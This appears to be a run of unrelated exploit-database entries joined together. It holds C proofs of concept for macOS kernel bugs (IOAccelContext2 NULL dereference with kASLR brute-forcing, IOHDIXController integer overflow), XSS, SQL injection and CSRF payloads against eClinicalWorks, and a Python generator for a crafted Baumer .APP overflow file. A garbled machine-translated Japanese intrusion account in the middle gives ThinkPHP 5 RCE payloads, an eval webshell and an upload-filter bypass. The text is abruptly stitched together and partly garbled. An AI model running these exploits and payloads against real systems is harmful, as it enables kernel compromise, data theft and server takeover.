Where do _maxEntrySize and _currentEntrySize come from?
When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.
_numEntries is a completely controlled dword.
So in order to reach the exploitable conditions we need to:
1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.
2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.
3) stop the queue.
4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
described above such that dataQueue is a dangling pointer.
5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!
The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:
_numEntries is a dword
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4
presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.
This really doesn't give you much leaway, but it is quite satisfiable :)
In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.
In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4
To run the PoC:
1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
cookie=2 IOHIDElementPrivate report size is 0x64.
2) build and run this file as a regular user.
3) see double free crash.
There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.
As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!
Testing on: MacBookAir5,2 10.10.5 14F27
Guessing that this affects iOS too but haven't tested.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39379.zip
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=512
IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."
In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.
One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)
IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.
Here's the relevant kernel code from IOAcceleratorFamily2:
__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6 ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6 ; __const:000000000003D2D80o ...
__text:00000000000057E6 push rbp
__text:00000000000057E7 mov rbp, rsp
__text:00000000000057EA push r15
__text:00000000000057EC push r14
__text:00000000000057EE push r12
__text:00000000000057F0 push rbx
__text:00000000000057F1 mov rbx, rdi
__text:00000000000057F4 mov r14d, 0E00002C2h
__text:00000000000057FA cmp qword ptr [rbx+510h], 0
__text:0000000000005802 jnz loc_590F
__text:0000000000005808 lea rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F mov rax, [rax]
__text:0000000000005812 mov rdi, rsi ; <-- (a)
__text:0000000000005815 mov rsi, rax
__text:0000000000005818 call __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D mov r15, rax ; <-- (b)
__text:0000000000005820 mov r12, [rbx+518h]
__text:0000000000005827 cmp r12, [r15+0F8h] ; <-- (c)
__text:000000000000582E jnz loc_590F
__text:0000000000005834 mov rax, [r15+0E0h]
__text:000000000000583B mov r14d, 0E00002BCh
__text:0000000000005841 cmp rax, [rbx+4E8h] ; <-- (d)
__text:0000000000005848 jnz loc_590F
...
__text:0000000000005879 mov rdi, [r15+100h]
__text:0000000000005880 mov [rbx+510h], rdi
__text:0000000000005887 mov rax, [rdi]
__text:000000000000588A call qword ptr [rax+20h] ; <-- (e)
At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.
The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.
At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.
In reality you can guess both the pointers in a few seconds.
After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)
Tested on OS X 10.10.5 (14F27)
*/
// ianbeer
// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0
/*
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
kernel address space layout leak and exploitable NULL dereference
IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."
In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.
One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)
IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.
Here's the relevant kernel code from IOAcceleratorFamily2:
__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6 ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6 ; __const:000000000003D2D80o ...
__text:00000000000057E6 push rbp
__text:00000000000057E7 mov rbp, rsp
__text:00000000000057EA push r15
__text:00000000000057EC push r14
__text:00000000000057EE push r12
__text:00000000000057F0 push rbx
__text:00000000000057F1 mov rbx, rdi
__text:00000000000057F4 mov r14d, 0E00002C2h
__text:00000000000057FA cmp qword ptr [rbx+510h], 0
__text:0000000000005802 jnz loc_590F
__text:0000000000005808 lea rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F mov rax, [rax]
__text:0000000000005812 mov rdi, rsi ; <-- (a)
__text:0000000000005815 mov rsi, rax
__text:0000000000005818 call __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D mov r15, rax ; <-- (b)
__text:0000000000005820 mov r12, [rbx+518h]
__text:0000000000005827 cmp r12, [r15+0F8h] ; <-- (c)
__text:000000000000582E jnz loc_590F
__text:0000000000005834 mov rax, [r15+0E0h]
__text:000000000000583B mov r14d, 0E00002BCh
__text:0000000000005841 cmp rax, [rbx+4E8h] ; <-- (d)
__text:0000000000005848 jnz loc_590F
...
__text:0000000000005879 mov rdi, [r15+100h]
__text:0000000000005880 mov [rbx+510h], rdi
__text:0000000000005887 mov rax, [rdi]
__text:000000000000588A call qword ptr [rax+20h] ; <-- (e)
At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.
The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.
At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.
In reality you can guess both the pointers in a few seconds.
After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)
Tested on OS X 10.10.5 (14F27)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
io_connect_t get_accel_connection() {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 1, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}else{
printf("got userclient connection: %x, type:%d\n", conn, 0);
}
printf("got userclient connection: %x\n", conn);
return conn;
}
io_connect_t get_some_client() {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}else{
printf("got userclient connection: %x, type:%d\n", conn, 0);
}
printf("got userclient connection: %x\n", conn);
return conn;
}
kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
uint64_t* fake_obj = 0;
fake_obj[0xf8/8] = guess;
return IOConnectAddClient(a, b);
}
// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
// (it's page aligned and we search a 512MB region)
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
uint64_t guess = 0xffffff8010000000;
while (guess < 0xffffff8030000000) {
printf("trying 0x%llx\n", guess);
if (guess_first(guess, a, b) == 0xe00002bc) {
printf("got it: 0x%llx\n", guess);
return guess;
}
guess += 0x1000;
}
printf("no luck\n");
return 0;
}
kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
uint64_t* fake_obj = 0;
fake_obj[0xf8/8] = accel_addr;
fake_obj[0xe0/8] = guess;
return IOConnectAddClient(a, b);
}
uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
while (guess < 0xffffff8030000000) {
printf("trying 0x%llx\n", guess);
if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
// not reached: we will call retain on the object at NULL now
// and will kernel panic reading the function pointer from the vtable at 414141...
printf("got it: 0x%llx\n", guess);
return guess;
}
guess += 0x10;
}
printf("no luck\n");
return 0;
}
int main(){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
io_connect_t accel_connect = get_accel_connection();
// create an unrelated client
io_connect_t a_client = get_some_client();
uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=511
Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.
IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.
The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.
It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)
*/
/* ianbeer
clang -o iohdix iohdix.c -framework IOKit
Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code
Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads
a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to
by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size,
casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can
cause an integer overflow and IOMalloc will be passed a size of 0.
IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel
heap pointer.
The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer
in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized
kernel heap buffer.
It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code
as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of
that allowing us to actually overwrite stuff :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}else{
printf("got userclient connection: %x, type:%d\n", conn, 0);
}
printf("got userclient connection: %x\n", conn);
void* mem = malloc(0x100000000);
uint64_t msg[0x100/8] = {0};
msg[0] = 0xbeeffeed; // +0x00
msg[1] = (uint64_t)mem;
msg[2] = 0xffffffff; // +0x10
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
//char inputStruct[4096];
//size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4;
// create a queue
err = IOConnectCallMethod(
conn,
0x5,
inputScalar,
inputScalarCnt,
msg,
0x100,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
return 0;
}
return 0;
}
# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities
# Vendor: https://www.eclinicalworks.com
# Product: eClinicalWorks Population Health (CCMR) Client Portal Software
# URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/
# Credit: Jerold Hoong
-------------------------------------
# CVE-2015-4591 CROSS-SITE SCRIPTING
Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary javascript via the strMessage parameter.
https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage=
%3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E
-------------------------------------
# CVE-2015-4592 SQL INJECTION
SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary malicious database commands as part of user input.
Parameter: uemail (POST PARAMETER)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=
POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp
Content-Length: 186
[SNIP] ...
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[SNIP] ...
action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=
-------------------------------------
# CVE-2015-4593 CROSS-SITE REQUEST FORGERY
Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks
Client Portal allows remote attackers to hijack the authentication of content administrators
for requests that could lead to the creation, modification and deletion of users, appointments
and employees.
# ADDING OF USER
<html>
<body>
<form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="uid" value="0" />
<input type="hidden" name="createdOver" value="1" />
<input type="hidden" name="ufname" value="John" />
<input type="hidden" name="ulname" value="Doe" />
<input type="hidden" name="uminitial" value="" />
<input type="hidden" name="selUserType" value="1" />
<input type="hidden" name="status" value="0" />
<input type="hidden" name="upaddress" value="" />
<input type="hidden" name="upcity" value="" />
<input type="hidden" name="upstate" value="" />
<input type="hidden" name="zipcode" value="" />
<input type="hidden" name="uemail" value="johndoe@test.com.de" />
<input type="hidden" name="upphone" value="98999299" />
<input type="hidden" name="umobileno" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-------------------------------------
# CVE-2015-4594 SESSION FIXATION
The web application is vulnerable to session fixation attacks. When authenticating a user
the application does not assign a new session ID, making it possible to use an existent
session ID.
-------------------------------------
# TIMELINE
– 16/06/2015: Vulnerability found
– 16/06/2015: Vendor informed
– 16/06/2015: Request for CVE IDs
- 16/06/2015: MITRE issued CVE numbers
– 16/06/2015: Vendor responded requesting more information on support contract etc
- 21/06/2015: No support contract, vendor does not open case
- 22/06/2015: Requested update from vendor, no response
- 01/07/2015: Contacted vendor again, vendor requested for support contract again
- 02/07/2015: No support contract, no response from vendor
– 31/01/2016: Public disclosure
最近、詐欺ギャング
を調査するタスクを受け取りました
上記の登録インターフェイスがあります。最初にユーザーを直接登録して、彼らがどのように不正行為をしたかを確認できます。
良い男、ユーザーは8億元を獲得し、充電したユーザーは自分自身を専門家と呼びます。
一見、この種のサイトは、詐欺ギャングの豚を殺すディスクです。 TP5フレームワークを使用して、ワンクリックで構築します。これは便利でトラブルがありません。その後、エラーメッセージによると、TP5.0.10のフレームワークは実際にデバッグモードであり、それは豚を殺すゲームでした。
tp5rceを使用して、最初にphpinfoと入力してください
S=Captcha
_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo 
多くの禁止機能があるようです。現時点では、TP5 RCEとセッションでシェルを書くことがより困難です。 TP5ログの包含とセッションインクルージョンをGootshellに使用するのは非常に便利です。
ログ内にファイルを見つける必要があります。セッションを直接GOTSHELLに含めます。
まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す
？s=captcha
_method=__ constructfilter []=think \ session3:setmethod=getGet []=？php eval（$ _ post ['x']）？server []=1 
次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです
？s=captcha
_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo（）;
この時点で、私たちはアリの剣を介してシェルに接続することができます
Ant Sword 
で接続されたHTTPボディに投稿に渡されたパラメーターを追加する必要があります
接続後、config 
の下でデータベース.phpを見つけてデータベースパスワードアカウントを見つけます
財務および技術的な連絡先情報もあります
バックグラウンド
に直接ログインします
いい男、30人のメンバーと400を超えるロボットがいます。金額はバックグラウンドで自由に変更できます。いじめが多すぎます。
私はいつも、ここに電話した後、情報が少し小さすぎると感じています。詐欺ギャングが支払いを集めるために使用される携帯電話番号と銀行カードはわずかです。そこで、操作サイトで情報を収集しました。カスタマーサービスサイトは他のサーバー上にあることが判明しました。
のディレクトリスキャンを介してカスタマーサービスの背景を見つけます
私は弱いパスワードを試してみましたが、ユーザー管理者さえいないことがわかりました。管理者はそれをよく知っています。
私は大切な辞書を取り出して破裂させましたが、既存のユーザーは見つかりませんでした。彼のユーザー名は電話番号または非常に長いユーザー名のいずれかだと思います。
背景を入力しても大丈夫ではないようです
その後、IPカウンターチェックを通じて、サイドステーションがなく、このサイトにはこのカスタマーサービスシステムのみがあることがわかりました。
ドメイン名をスキャンして、何も見つかりませんでした
ただし、ページの下には、AIカスタマーサービスPHPオンラインカスタマーサービスシステムが搭載されています。インターネットにソースコードがあるべきだと思うので、私はバイドゥに行き、本当にソースコードを持っています。
ウェブサイトはTPセカンダリーに基づいて開発されていますが、TPのRCEはなくなりました。
ステップごとの監査は1つだけです
長い間検索した後、アプリケーション/管理者/コントローラー/event.phpファイルでブラックリストベースのアップロード機能uploadimg 
を見つけました。
アップロード関数アップロードImgを定義し、ファイル名を取得する変数名を定義し、配列内のドットで分離し、検出として変数extを介して2番目の配列を取得します。ファイルがindex.htmlに渡されると、$ ext=html、htmlがブラックリストに含まれるため、アップロードは失敗します。ファイルがindex.jpg.php、$ ext=jpgに渡された場合、jpgはブラックリストに含まれていないため、正常にアップロードできます。
TPのルーティングルールによると、このアップロードポイントは/admin/event/uploadimgに配置する必要があります。
このページにアップロードポイントはありません。アップロードページを単独で構築するだけです
form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'
ラベル='file'chenguangカスタマーサービスのアップロード/ラベル
入力型='ファイル' name='editormd-image-file' id='editormd-image-file'
入力タイプ='送信' name='送信'値='送信'
/形状
index.php 
をアップロードする場合
アップロードが失敗したことは事実です
index.jpg.php 
をアップロードしている場合
正常にアップロードできます
カスタマーサービスサイト
をご覧ください
jcに背景データをパッケージします
ここでは、秩序あるブラシを信じないようにみんなに促したいと思います。充電するように頼む人はお金を得ることができます。それらはすべて偽物です。一晩で金持ちになり、何かを利用することを考えないでください。世界には無料のランチはありません。
をご覧ください。
これらの詐欺ギャングは正当化され、よく根付いており、ますます多くを埋めるように頼むだけです。彼らは典型的な豚を殺すゴミです
侵入概要：
1.テストアカウントを登録します
2エラーが報告された後、TP5.0.10であることがわかった
3. tp5rceを使用してphpinfoを表示します
S=Captcha
Post:
_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo
ハザード関数は無効になっていることがわかりました
4.TP5ログ包含とセッションインクルージョンをゲッシェルに使用します
5.セッションセッションを設定して、テンテンショントロイの木馬に渡す
？s=captcha
役職：
_method=__ constructfilter []=think \ session3:setmethod=getGet []=？PHP eval（$ _ post ['x']）？server []=1
6.ファイルを使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです
？s=captcha
役職：
_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo（）;
7.アリの剣を通してシェルを接続し、ポストに渡されたパラメーターをアリの剣で接続されたHTTPボディに追加します。
8。バックグラウンドソースコードを使用して、カスタマーサービスの背景を発見します。
9.サービスの背景はAIカスタマーサービスPHPオンラインカスタマーサービスシステムであり、システムにファイルアップロードの脆弱性があることがわかりました。
/admin/event/uploadimg
form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'
ラベル='file'chenguangカスタマーサービスのアップロード/ラベル
入力型='ファイル' name='editormd-image-file' id='editormd-image-file'
入力タイプ='送信' name='送信'値='送信'
/形状
オリジナルリンク：https://xz.aliyun.com/t/9286
#!/usr/bin/env python
#
#
# Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability
#
#
# Vendor: Baumer Holding AG | Baumer Optronic GmbH
# Product web page: http://www.baumer.com
# Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/
# Affected version: 2.6.2 (ID-CS-XF-XC)
#
# Summary: The Baumer Application Suite is the intuitive configuration
# software for VeriSens vision sensors, which makes it quick and simple
# for even new users to implement image processing tasks. Starting with
# the creation of test tasks through to the management of jobs, the program
# will take you through just a few steps to reach your goal.
#
# Desc: The vulnerability is caused due to a boundary error in baselibs.dll
# library when processing device job file, which can be exploited to cause
# a buffer overflow when a user opens e.g. a specially crafted .APP file.
# Successful exploitation could allow execution of arbitrary code on the
# affected machine.
#
# -------------------------------------------------------------------------
# (78c.cb0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Exported symbols for C:\Program Files (x86)\Baumer\VeriSens Application Suite v2.6.2\AppSuite\baselibs.dll -
# eax=4d81ab45 ebx=4d81ab45 ecx=41414141 edx=41414141 esi=4d81ab45 edi=0c17e010
# eip=56bc4186 esp=0040a020 ebp=0040a020 iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00 mov eax,dword ptr [eax] ds:002b:4d81ab45=????????
# 0:000> u
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00 mov eax,dword ptr [eax]
# 56bc4188 8bc8 mov ecx,eax
# 56bc418a 8bd0 mov edx,eax
# 56bc418c c1ea18 shr edx,18h
# 56bc418f c1f908 sar ecx,8
# 56bc4192 81e100ff0000 and ecx,0FF00h
# 56bc4198 0bca or ecx,edx
# 56bc419a 8bd0 mov edx,eax
# 0:000> dds
# 56bc6b86 00107d80
# 56bc6b8a 8b117457
# 56bc6b8e f0e181cb
# 56bc6b92 e8000000
# 56bc6b96 fffff9e6
# 56bc6b9a 02ebf88b
# 56bc6b9e ff85fa8b
# 56bc6ba6 68000001
# 56bc6baa 56c2afa4 baselibs!VsInfoFeed::Listener::`vftable'+0xb154
# 56bc6bae 3f8ce857
# 56bc6bb2 c483ffff
# 56bc6bb6 75c0850c USER32!SetKeyboardState+0x705a
# 56bc6bba 325b5f07
# -------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5303
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5303.php
#
#
# 14.11.2015
#
header = ("\x00\x00\x00\x01\x00\x00\x00\x04\x95\xCF\x82\xF6\x00\x00\x00"
"\x01\x00\x00\x00\x04\x00\x00\x00\x2B\x00\x00\x00\x50\x00\x00"
" \x00\x05\x43\x6F\x64\x65\x00\x00\x00\x00\x50\x00\x00\x00\x01"
"\x00\x00\x00\x00\x50\x00\x00\x00") #\x0F
buffer = "\x41" * 6719 + "\x42\x42\x42\x42"
f = open ("exploit.app", "w")
f.write(header + buffer +'\x0F')
f.close()
print "File exploit.app created!\n"
#
# PoC: http://www.zeroscience.mk/codes/bvas-5303.app.zip
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39403.zip
#
# Exploit Title: [GE Industrial Solutions - UPS SNMP Adapter Command
Injection and Clear-text Storage of Sensitive Information Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.geindustrial.com/]
# Versions Reported: [All SNMP/Web Interface cards with firmware version
prior to 4.8 manufactured by GE Industrial Solutions.]
# CVE-IDs: [CVE-2016-0861 + CVE-2016-0862]
*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf
